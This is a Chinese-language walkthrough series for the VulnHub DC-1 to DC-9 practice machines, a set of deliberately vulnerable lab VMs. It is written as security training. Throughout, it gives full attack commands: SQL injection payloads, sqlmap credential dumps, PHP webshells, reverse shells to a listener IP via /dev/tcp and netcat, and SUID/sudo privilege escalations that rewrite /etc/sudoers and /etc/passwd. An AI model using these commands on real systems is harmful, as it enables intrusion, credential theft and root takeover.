DC-1
简介
下载
- DC-1.zip (Size: 733 MB)
- Download: http://www.five86.com/downloads/DC-1.zip
- Download (Mirror): https://download.vulnhub.com/dc/DC-1.zip
- Download (Torrent): https://download.vulnhub.com/dc/DC-1.zip.torrent
流程
信息收集
主机探活
kali中使用arp-scan进行主机探活
arp-scan --interface eth0 192.168.0.0/24
经过筛选可以知道192.168.0.150 是DC-1的ip
端口扫描
nmap -p- 192.168.0.150
可以这里开启了22、80、111端口
我们先从80端口入手
这里可以发现用的是DrupalCMS
渗透
Flag1
启动msf,搜索下Drupal可用的EXP
search Drupal
这里我们选用exploit/unix/webapp/drupal_drupalgeddon2
因为他是最新的,而且品质为excellent
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.0.150
show options
run
这样我们就可以成功得到一个会话。
我们用会话返回一个shell
查看目录,获取flag1
Every good CMS needs a config file - and so do you.
翻译:每个好的 CMS 都需要一个配置文件——你也一样。
这里也就是提示说去查看DrupalCMS的配置文件
Flag2
DrupalCMS的默认配置文件为 /var/www/sites/default/settings.php
这里我们获得数据库的账号dbuser
和密码R0ck3t
- flag2
- Brute force and dictionary attacks aren't the
- only ways to gain access (and you WILL need access).
- What can you do with these credentials?
翻译:
- 蛮力和字典攻击不是
- 获得访问权限的唯一方法(您将需要访问权限)。
- 您可以使用这些凭据做什么?
Flag3
这里我们直接连接mysql之后shell会没有反应的
这里我们需要用python转换成标准的shell
python -c "import pty;pty.spawn('/bin/bash')"
连接mysql
常规的mysql查询
这里的密码是经过drupal加密
在scripts的文件夹中有用来算密码的脚本
但是因为靶机的环境原因会报错
但是可以查到
明文:password
密文:$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4
直接update更新admin密码
update users set pass='$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4' where name='admin';
然后进行登录
经过查看可以发现Flag3
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
翻译:特殊权限将有助于查找密码 - 但您需要 -exec 该命令才能确定如何获取阴影中的内容。
这里提示我们提示用find -exec,想到用suid提权
Flag4
使用find / -name flag*.txt
命令,直接来查找flag文件,获取到flag4
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
翻译:
您可以使用相同的方法在 root 中查找或访问标志吗?
大概。但也许这并不容易。或者也许是?
提权
使用find找下具有root权限的suid
find / -perm -u=s -type f 2>/dev/null
可以看到find是可以用来提权的
我们尝试用find执行命令
# 这里需要注意-name参数填写的文件名,是需要系统真实存在的
find / -name flag4 -exec "whoami" \;
可以发现这使用的root用户权限
那么我们接下来用find提权
find / -name flag4 -exec "/bin/sh" \;
这里可以发现已经是root用户了
这算是预期解了,按照顺序下来的
非预期解
首先用nmap -A --script=vuln 192.168.0.150
扫描靶机
开放了80和22端口,并且存在cve-2014-3704
漏洞利用
cve-2014-3704这个漏洞是sql注入,能直接数据库添加用户名和密码
payload
pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0%20;update+users+set+name%3d'root'+,+pass+%3d+'$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld'+where+uid+%3d+'1';;#%20%20]=bob&name[0]=a
将上述payload贴进来,发包后,将会创建一个用户名为:root 密码:thanks的账户
成功用新用户登录进去
然后同样的可以找到flag3
flag3提示用find -exec,想到用suid提权
来到modules,开启php filter
新建articel文章,并写入php一句话木马,底下的text format换成PHP code
文章成功发布后,使用蚁剑连接
然后的流程和预期解差不多
也可以根据提示直接提权
DC-2
简介
下载
- DC-2.zip (Size: 847 MB)
- Download: http://www.five86.com/downloads/DC-2.zip
- Download (Mirror): https://download.vulnhub.com/dc/DC-2.zip
- Download (Torrent): https://download.vulnhub.com/dc/DC-2.zip.torrent
流程
信息收集
主机探活
kali中使用arp-scan进行主机探活
arp-scan --interface eth0 192.168.0.0/24
经过筛选可以知道192.168.0.131 是DC-2的ip
端口扫描
nmap -p- 192.168.0.150
可以这里开启了80、7744端口
根据信息可知7744端口为SSH
我们先从80端口入手
返回一个错误页面,F12可以看到网页做了一个301永久重定向
我们编辑下Kali的hosts文件
vim /etc/hosts
添加一条记录
192.168.61.162 dc-2
再次打开dc-2,即可正常显示
渗透
Flag1
在页面中就可以找到flag1
Flag 1:
Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.
More passwords is always better, but sometimes you just can’t win them all.
Log in as one to see the next flag.
If you can’t find it, log in as another.
翻译:
Flag 1:
您通常的单词表可能不起作用,因此,也许您只需要成为 cewl。
更多的密码总是更好,但有时你无法赢得所有密码。
以一个身份登录以查看下一个标志。
如果找不到,请以另一个身份登录。
这里提示我们要使用cwel来生成密码字典
cewl dc-2 > pwd.txt&&cat pwd.txt
然后用wpscan枚举出当前存在的用户,并存入username.txt中
然后这里我们可以看见当前存在admin、jerry、tom三个用户
Flag2
然后我们用刚刚生成的username.txt和pwd.txt进行账号密码遍历
wpscan --url http://dc-2/ -U username.txt -P pwd.txt
[SUCCESS] - jerry / adipiscing
[SUCCESS] - tom / parturient
然后我们打开wp的管理后台,一般都是wp-admin
先尝试用jerry登录,发现flag2
Flag 2:
If you can't exploit WordPress and take a shortcut, there is another way.
Hope you found another entry point.
翻译:
Flag 2:
如果您不能利用 WordPress 并走捷径,还有另一种方法。
希望你找到另一个切入点。
说我们无法攻击WP,我们需要寻找别的方法
然后登录tom
但是在tom的账号中也没有什么额外的发现
Flag3
然后靶机除了80还有7744(SSH)端口,我们也可以用这2个账号尝试下
jerry无法登录SSH,tom顺利登录SSH
查看tom用户可以执行命令
echo $PATH
echo /home/tom/usr/bin/*
发现能执行的命令非常少,只能执行less,ls,scp,vi
先ls,发现flag3.txt,然后用vi获取flag3的内容(也可以使用less)
Flag 3:
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes
翻译:
Flag 3:
可怜的老汤姆总是追着杰瑞跑。 也许他应该为他造成的所有压力感到不安
这个意思感觉可能是要我们su到jerry,但是我们无法使用su命令,玩呢?
所以我们需要绕过rbash(受限的bash)
这里可以两种绕过方式
-
vi绕过
vi :set shell=/bin/bash :shell export PATH=$PATH:/bin/ export PATH=$PATH:/usr/bin
进入vi命令行模式后,输入后:set shell=/bin/bash然后回车
这时候光标会跑到第一行,不用管它
继续进入命令行,输入:shell,回车后,会得到一个shell
看起来跟原来的一模一样,但是不急,依次输入
export PATH=$PATH:/bin/ export PATH=$PATH:/usr/bin
这两条命令后,已经绕过了rbash了,并且成功使用cat命令
-
BASH_CMDS[a]=/bin/sh;a 绕过
BASH_CMDS[a]=/bin/sh;a export PATH=$PATH:/bin/ export PATH=$PATH:/usr/bin
Flag4
接下来就切换到jerry用户,而tom的ssh密码和web登陆是一样的,所以jerry也可以直接尝试之前得到的WP的密码
输入su jerry
密码:adipiscing,成功登陆,但是这里现在是在tom的home目录下
切换到jerry的家目录就可以得到flag4.txt
Flag 4:
Good to see that you've made it this far - but you're not home yet.
You still need to get the final flag (the only flag that really counts!!!).
No hints here - you're on your own now. 🙂
Go on - git outta here!!!!
翻译:
Flag 4:
很高兴看到你已经走到了这一步——但你还没有回家。
您仍然需要获得最终标志(唯一真正重要的标志!!!)。
这里没有任何提示——你现在就靠你自己了。 🙂
继续 - 离开这里!!!!
提权
Flag4虽然说着没有提示了,但是还是提示用git提权到root
sudo -l
查询root权限
可看到/usr/bin/git是root权限执行,并且不需要密码
那么接下来就是提权了
-
第一种
sudo git help config !/bin/bash
-
第二种
sudo git branch --help config !/bin/bash
-
第三种
TF=$(mktemp -d) ln -s /bin/sh "$TF/git-x" sudo git "--exec-path=$TF" x !/bin/bash
这里就用第一种吧
输入sudo git help config
后,会强行分页显示
然后和之前绕过rbash一样
直接继续输入!/bin/bash
回车
然后这就提权成功了
然后在root目录下找到final-flag
DC-3
简介
下载
- DC-3-2.zip (Size: 1005 MB)
- Download: http://www.five86.com/downloads/DC-3-2.zip
- Download (Mirror): https://download.vulnhub.com/dc/DC-3-2.zip
- Download (Torrent): https://download.vulnhub.com/dc/DC-3-2.zip.torrent ( Magnet)
流程
信息收集
主机探活
kali中使用arp-scan进行主机探活
arp-scan --interface eth0 192.168.0.0/24
经过筛选可以知道192.168.0.152 是DC-3的ip
端口扫描
nmap -sC -sV -p- 192.168.0.152
发现这里只是开了80端口
看下80端口,通过wappalyzer,发现用的是JoomlaCMS,而且用的是PHP
同时主页也给我们提示,表明这个靶机只有一个flag
DC-3
Home
Welcome to DC-3Details
- Written by admin
Welcome to DC-3.
This time, there is only one flag, one entry point and no clues.
To get the flag, you'll obviously have to gain root privileges.
How you get to be root is up to you - and, obviously, the system.
Good luck - and I hope you enjoy this little challenge. 🙂
You are here: Home
翻译:
DC-3
家
欢迎来到 DC-3 详情
- 由管理员撰写
欢迎来到 DC-3。
这一次,只有一个标志,一个入口,没有任何线索。
要获得标志,您显然必须获得 root 权限。
如何成为 root 取决于您 - 显然,取决于系统。
祝你好运 - 我希望你喜欢这个小挑战。 🙂你在这里:首页
这里我们可以用御剑扫目录出后台
http://192.168.127.134/administrator/index.php
查看后台
msf中搜索Joomla
这里我们先使用auxiliary/scanner/http/joomla_version
查看版本信息
这里就可以得知这里使用的Joomla版本是3.7.0
渗透
登录后台
然后可以查到这个版本是有sql注入exploit链接 ,直接sqlmap梭哈
sqlmap -u "http://192.168.0.152/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
得到数据库
除了joomladb都是系统自带的库
然后查表
sqlmap -u "http://192.168.0.152/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]
这查出76张表
我们还是先关注user表
查列名
sqlmap -u "http://192.168.0.152/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]
然后查username和password
sqlmap -u "http://192.168.0.152/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C "username,password" --dump -p list[fullordering]
这里也可以直接用利用工具直接梭哈
cmd5查不到
没办法,只好用john了
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
-->snoopy
我们尝试进行登陆,发现是正确的账号密码
账号:admin
密码:snoopy
上传一句话木马
这里可以找到用编辑模板的方式上传webshell
我们这里直接编辑Protostar Details and Files模板
然后直接编辑index.php,写入一句话木马
然后我们访问下这个http://192.168.0.152/,没有出现404说明成功上传
提权
使用蚁剑成功连接
来到终端输入uname -a
和lsb_release -a
搜索利用模块searchsploit ubuntu 16.04 4.4
Linux Kernel 4.4.x (Ubuntu 16.04) - ‘double-fdput()’ bpf(BPF_PROG_LOAD) Privilege Escalation,此模块可提权成功
unzip 39772.zip
cd /var/www/html/39772/
tar -vxf exploit.tar
cd ebpf_mapfd_doubleput_exploit/
chmod u+x compile.sh
./compile.sh
./doubleput
可以看到在蚁剑的终端并没提权成功
后来我换了nc连接shell,index.php编辑内容为<?php system(“bash -c ‘bash -i >& /dev/tcp/192.168.0.129/4444 0>&1’”) ?>
开启监听,然后刷新网页,成功连上
执行相同的命令,成功提权
DC-4
简介
下载
- DC-4.zip (Size: 617 MB)
- Download: http://www.five86.com/downloads/DC-4.zip
- Download (Mirror): https://download.vulnhub.com/dc/DC-4.zip
- Download (Torrent): https://download.vulnhub.com/dc/DC-4.zip.torrent ( Magnet)
信息收集
主机探活
kali中使用arp-scan进行主机探活
arp-scan --interface eth0 192.168.0.0/24
经过筛选可以知道192.168.0.151是DC-4的ip
端口扫描
nmap -sC -sV -p- 192.168.0.151
发现这里只是开了22、80端口
看下80端口,是一个登陆界面
登录页面,尝试弱口令登录
这里可以用Wfuzz来进行爆破
# -c :我记得是彩色输出
# -t :设置线程数量
# -w :字典文件
# -hw : 隐藏返回word字数为17的信息,这个靶机如果凭证错误的话word是17
# -d : 请求体设置
wfuzz -c -t 20 -w /root/Desktop/fuzz/username.txt -w /root/Desktop/fuzz/password.txt --hw 17 -d "username=FUZZ&password=FUZ2Z" http://192.168.0.151/login.php
发现弱密码是可以爆破出来的
得到账号和密码
admin - happy
渗透
登陆
然后试一下
发现这类似于命令执行
burp抓包
可以发现这里直接就是传了一个ls -l
的目录查看命令,中间的空格被换成了+
那这里我们直接传一个直接反弹shell
首先kali开启监听
将数据包发送到Repeater模块,然后改成nc+-e+/bin/bash+192.168.0.129+4444
再发送
连接成功
用python转换成标准的shell
python -c "import pty;pty.spawn('/bin/bash')"
查看下passwd看看有什么用户适合提权
发现charles、jim、sam这个三个用户
去它们的home目录看下有没有什么收获
charles:
没有啥发现
jim:
backups——备份
好东西
找到一个old-passwords.txt的备份
将这些密码复制下来并对jim进行ssh爆破,因为在信息收集的阶段我们看到靶机是打开了22端口
可以用nc进行文件传输
这里可以用nc进行文件传输
# Kali
nc -nvlp 5555 > old-passwords.txt
# DC4
nc 192.168.0.129 5555 < /home/jim/backups/old-passwords.bak
然后用hydra对jim账号进行SSH爆破
hydra -l jim -P old-passwords.txt ssh://192.168.0.151
[22][ssh] host: 192.168.0.151 login: jim password: jibril04
登陆jim的ssh,查看有没有sudo权限
然后可以发现在登录SSH提示有邮件,查看下
这是一封Charles发送过来的邮件,里面是说他要放年假了,老板他把密码给jim
这下我们拿到了Charles的密码
^xHhA&hvim0y
ssh切换到Charles
查看Charles的sudo
可以看到使用teehee提权,teehee就是tee的变体从标准输入读取并写入标准输出和文件
我们可以借助teehee直接给charles赋予完全的root权限
echo 'charles ALL=(ALL:ALL) NOPASSWD:ALL' | sudo teehee -a /etc/sudoers
然后直接用sudo登录root用户
提权成功
非预期解
之前的方法应该就是这个靶机预设的预期解
但是在查看邮件的时候还有一个非预期解
这里可以了解到Exim的版本为4.89
这个版本有一个CVE-2019-10149可以使用
searchsploit Exim
searchsploit -p linux/local/46996.sh
开启python的HTTP服务
通过wget进行exp下载,赋予执行权限并执行
DC-5
简介
下载
- DC-5.zip (Size: 521 MB)
- Download: http://www.five86.com/downloads/DC-5.zip
- Download (Mirror): https://download.vulnhub.com/dc/DC-5.zip
- Download (Torrent): https://download.vulnhub.com/dc/DC-5.zip.torrent
信息收集
主机探活
kali中使用arp-scan进行主机探活
arp-scan --interface eth0 192.168.0.0/24
经过筛选可以知道192.168.0.149是DC-5的ip
端口扫描
nmap -sC -sV -p- 192.168.0.149
发现这里只是开了80、111、53909端口
首先还是从80端口入手
打开的界面是这样的,看了好久没有发现有什么问题
没办法最后还是看了wp
在contact.php
页面下,提交
首先显示显示的是
这里是2019
提交之后显示的2017
如果是静态包含的话可能就没有办法了,得是动态文件包含我们才有机会,再加上还要爆破是使用什么参数传递包含文件的,这里只有赌他是动态文件包含
用御剑扫目录,扫到了http://192.168.0.149/footer.php
这个目录是
这里就存在文件包含了
渗透
尝试文件包含
确定为文件包含漏洞,这里我们就尝试能不能能不能上传一句话拿到后台,因为已经知道web服务器是nginx
查看Nginx配置文件
/etc/nginx/nginx.conf
access_log存放位置
/var/log/nginx/access.log
error_log存放位置
/var/log/nginx/error.log
访问access.log(如果access.log报错的话可以换error.log试一试)
显示了日志文件,然后先上传phpinfo看是否会运行;
phpinfo成功执行
现在上传一句话木马
上传成功
蚁剑连接成功
因为日志时常在更新,所以连接可能会不稳定,我们上传一个shell.php到tmp目录下重新连接一下;
然后直接反弹shell
使用find命令,查找具有root权限的命令
find / -perm -u=s -type f 2>/dev/null
这里可以看到有一个screen-4.5.0命令
查找screen 4.5.0漏洞并利用
修改文件格式:set ff=unix
kali——python开启http服务
靶机——用wget获取exp
加执行权限:chmod 777 41154.sh
,并执行
DC-6
简介
下载
- DC-6.zip (Size: 619 MB)
- Download: http://www.five86.com/downloads/DC-6.zip
- Download (Mirror): https://download.vulnhub.com/dc/DC-6.zip
- Download (Torrent): https://download.vulnhub.com/dc/DC-6.zip.torrent ( Magnet)
信息收集
主机探活
kali中使用arp-scan进行主机探活
arp-scan --interface eth0 192.168.0.0/24
经过筛选可以知道192.168.0.141是DC-6的ip
端口扫描
nmap -sC -sV -p- 192.168.0.141
发现这里只是开了80、22端口
首先从80端口入手
这和之前DC-2是一样的
返回一个错误页面,F12可以看到网页做了一个301永久重定向
修改hosts文件
再次打开正常显示
这里可以看出这又是一个wordpress的页面
然后页面显示的信息跟插件有关
这个题目在官网中还给了线索
CLUE
好吧,这并不是一个真正的线索,但对于那些只想继续工作的人来说,更多的是一些“我们不想花五年时间等待某个过程完成”的建议。
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt 这应该可以为您节省几年时间。 😉
这个线索之后有用的
然后我们还是常规先获取一下用户名
wpscan --url http://wordy/ -e u
能够得到以上用户
然后密码的话就要用到之前官网上给到的提示了
根据提示我们可以得到密码表
然后通过用户名表和密码表爆破后台账号
wpscan --url http://wordy/ -U username.txt -P passwords.txt
找到用户名和密码
登录后台
登录成功,但是其他地方都没有发现有什么问题,但是这个使用了一个插件Activity monitor
渗透
使用msf搜索这个插件
searchsploit activity monitor
这里我们使用第三个
cp /usr/share/exploitdb/exploits/php/webapps/45274.html .
这里我们需要修改的是请求地址和反弹shell的地址
然后python开启http服务并且还要监听9999端口
然后访问127.0.0.1
点击请求
反弹shell成功
然后用python转换成标准的shell
python -c "import pty;pty.spawn('/bin/bash')"
然后在home目录下可以看到四个用户
然后在mark的stuff目录下找到了一个things-to-do.txt文件
这里有graham的密码
我们ssh登录graham
查看当前用户可以执行的操作,发现可以运行jens用户下面的backups.sh
查看backups.sh文件,发现是对web的文件进行打包备份
向backups.sh文件中写入”/bin/bash”,并以jens用户去执行该脚本
脚本执行完成后,可以发现切换到jens用户了
提权
再次查看jens可以执行的操作,发现jens可以在无密码情况下使用nmap命令
这里其实也还有个提示
写入一条命令到getShell,通过nmap运行getShell成功进入root用户
echo 'os.execute("/bin/sh")' > getShell
sudo nmap --script=getShell
提权成功
cd ~
cat theflag.txt
DC-7
简介
下载
- DC-7.zip (Size: 939 MB)
- Download: http://www.five86.com/downloads/DC-7.zip
- Download (Mirror): https://download.vulnhub.com/dc/DC-7.zip
- Download (Torrent): https://download.vulnhub.com/dc/DC-7.zip.torrent ( Magnet)
信息收集
主机探活
kali中使用arp-scan进行主机探活
arp-scan --interface eth0 192.168.0.0/24
经过筛选可以知道192.168.0.153是DC-7的ip
端口扫描
nmap -sC -sV -p- 192.168.0.153
发现这里只是开了80、22端口
首先从80端口入手
DC-7 introduces some "new" concepts, but I'll leave you to figure out what they are. 🙂
While this challenge isn't all that technical, if you need to resort to brute forcing or a dictionary attacks, you probably won't succeed.
What you will have to do, is to think "outside" the box.
Way "outside" the box. 🙂
翻译:
DC-7 引入了一些“新”概念,但我会让你弄清楚它们是什么。 🙂
虽然这个挑战并不完全是技术性的,但如果您需要诉诸暴力破解或字典攻击,您可能不会成功。
你要做的,就是跳出框框思考。
方式“外”框。 🙂
CMS还是Drupal
但是这个靶机直接换了一种玩法,这是没想到的
这一题需要注意到这个地方
我们直接搜索,能发现有一个GitHub的用户,进去看能够发现一个staffdb的源码文件夹,并给了提示这源码是dc7靶机的突破口
员工数据库
这是 DC-7 挑战的一些“代码”(是的,它不是最好的代码,但这不是重点)。
顺便说一句,这不是一面旗帜,但如果你在这里做到了,无论如何都做得很好。 🙂
将源码下载到本地
git clone https://github.com/Dc7User/staffdb
分析源码,发现一个config.php文件,在这个配置文件里找到了用户名和密码
渗透
用SSH链接靶机,登录dc7user发现可以成功连接
打开mbox文件发现是一个计划任务,定时备份,并发现备份执行的源码在/opt/scripts目录下
进入到/opt/scripts目录下,查看backups.sh脚本文件,发现两个命令gpg和drush
gpg命令用来加密,drush命令是drupal框架中用来做一些配置的命令,它可以改变用户名密码
进入到/var/www/html目录下,使用drush命令修改admin用户的密码为123456
然后就可以使用admin/123456登录后台了
一般流程就是发布一篇新的文章,写入shell
但是Drupal 8没有为了安全,需要将php单独作为一个模块导入
Php介绍页面如下,模块包下载地址也附上
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
Install后跳转到模块添加成功页面,然后去激活这个模块
选择FILTERS,勾选PHP点击Install安装,安装成功后会有提示
然后来到网站开始的欢迎页面,对该页面进行编辑,添加一句话PHP代码,并保存为PHP代码
蚁剑连接,成功连接getshell
提权
然后还是并反弹shell到kali,切换shell外壳
nc -e /bin/bash 192.168.0.153 8888
nc -lvvp 8888
当前用户是www-data,在/opt/scripts目录下的backups.sh脚本文件所属组是www-data,所以www-data用户可以对这个脚本文件进行操作,并且这个脚本文件定时执行可以利用它来反弹shell
写入反弹shell代码到backups.sh脚本文件中,并在kali监听5555端口,等待执行计划任务,成功getshell
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.0.129 5555 >/tmp/f" >> backups.sh
然后就是去root目录下找flag了
DC-8
简介
下载
- DC-8.zip (Size: 379 MB)
- Download: http://www.five86.com/downloads/DC-8.zip
- Download (Mirror): https://download.vulnhub.com/dc/DC-8.zip
- Download (Torrent): https://download.vulnhub.com/dc/DC-8.zip.torrent ( Magnet)
信息收集
主机探活
kali中使用arp-scan进行主机探活
arp-scan --interface eth0 192.168.0.0/24
经过筛选可以知道192.168.0.154是DC-8的ip
端口扫描
nmap -sC -sV -p- 192.168.0.154
发现这里开了80、22端口
首先从80端口入手
这里还是一样的用的Drupal的CMS
这一题的入口点在主页的Details中
点击之后能在url中发现是用id形式的显示,这里能够猜测应该存在SQL注入
sqlmap一把梭
#爆库
sqlmap -u "http://192.168.0.154/?nid=1" --dbs --batch
#爆表名
sqlmap -u "http://192.168.0.154/?nid=1" -D d7db --tables --batch
#爆列名
sqlmap -u "http://192.168.0.154/?nid=1" -D d7db -T users --columns --batch
#爆数据
sqlmap -u "http://192.168.0.154/?nid=1" -D d7db -T users -C name,pass --dump --batch
得到admin和John两个用户,密码是MD5加密的
John这个用户名就很有意思,这也就是提示我们用John爆出这个密码
然后admin的密码爆不出来
john的密码是turtle
登录地址可以路径爆破出来
渗透
然后用john/turtle登录成功
然后的任务就是找到可以上传php代码的地方
最后是在这里找到的
写入反弹shell代码并保存
然后在反馈
页面填写信息提交,反弹shell就成功了
提权
切换shell
python -c "import pty;pty.spawn('/bin/bash')"
看看有没有内核提权
uname -a
查看具有root权限的命令
find / -perm -u=s -type f 2>/dev/null
发现了exim4,查看版本
版本4.89,查看是否存在漏洞
将exp复制出来
cp /usr/share/exploitdb/exploits/linux/local/46996.sh .
修改exp脚本执行编码
:set ff=unix
python开启http服务
python3 -m http.server 80
靶机切换到tmp目录下,下载文件
赋予权限
chmod +x 46996.sh
执行
./46996.sh -m netcat
提权成功
查看flag
DC-9
简介
下载
- DC-9.zip (Size: 700 MB)
- Download: http://www.five86.com/downloads/DC-9.zip
- Download (Mirror): https://download.vulnhub.com/dc/DC-9.zip
- Download (Torrent): https://download.vulnhub.com/dc/DC-9.zip.torrent ( Magnet)
信息收集
主机探活
kali中使用arp-scan进行主机探活
arp-scan --interface eth0 192.168.0.0/24
经过筛选可以知道192.168.0.155是DC-9的ip
端口扫描
nmap -sC -sV -p- 192.168.0.155
发现这里开了80端口,22被策略保护处于关闭状态
首先从80端口入手
翻看页面能发现有一个搜索页面
渗透
看到搜索页面sql注入的感觉就来了
复制数据包直接SQLmap冲
sqlmap -r post.txt --dbs
sqlmap -r post.txt -D Staff --tables
sqlmap -r post.txt -D Staff -T Users --columns
sqlmap -r post.txt -D Staff -T Users -C Username,Password --dump --batch
最后得到admin账号和密码(admin / transorbital1)
但是登录后台之后好像并没有什么用
最后找到的是文件包含漏洞
在登录之后的manage页面和新出现的页面的下方出现了
File does not exist
文件不存在?
尝试一下payload
?file=../../../../../../../etc/passwd
成功读文件,确认存在LFI
但是这也这是读取一些文件,不能getshell
然后因为在之前爆破数据库的时候还可以看到存在一个users的数据库
sqlmap -r post.txt -D users --tables
sqlmap -r post.txt -D users -T UserDetails --columns
sqlmap -r post.txt -D users -T UserDetails -C username,password --dump --batch
然后我们可以看一下/proc/sched_debug文件,这里是记录的调度器的信息
然后可以在返回信息里找到konckd
端口保护之端口敲门
大致就是按一定的顺序访问端口可以达到开启和关闭某个端口的机制
包含/etc/konckd.conf
可以查看端口敲门的策略
依次nc这三个端口
nc 192.168.0.155 7469
nc 192.168.0.155 8475
nc 192.168.0.155 9842
然后nmap就能发现22端口打开了
然后用hydra和之前users数据库中的用户名和密码进行爆破
得到三个用户
然后都ssh登录进去看看
然后是在janitor用户中找到了一个隐藏文件夹.secrets-for-putin
里面是一文件有一些新的密码
把这些密码加到之前的密码本里再次进行爆破
这里又爆出一个新的用户
shh登录
提权
然后列出权限
执行发现是python文件
用find查找test.py
大致意思来说的话就是将参数1
的内容写到参数2
中
使用openssl
创建一个admin的账号
openssl passwd -1 -salt admin 123456
然后修改成passwd中的格式写到/tmp
目录下
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd
然后运行test
使用命令:sudo ./test /tmp/passwd.txt /etc/passwd
再查看一下/etc/passwd
可以发现新增了一条我们自己写得记录
然后su
切换admin 用户
现在可以发现已经是root权限了
找flag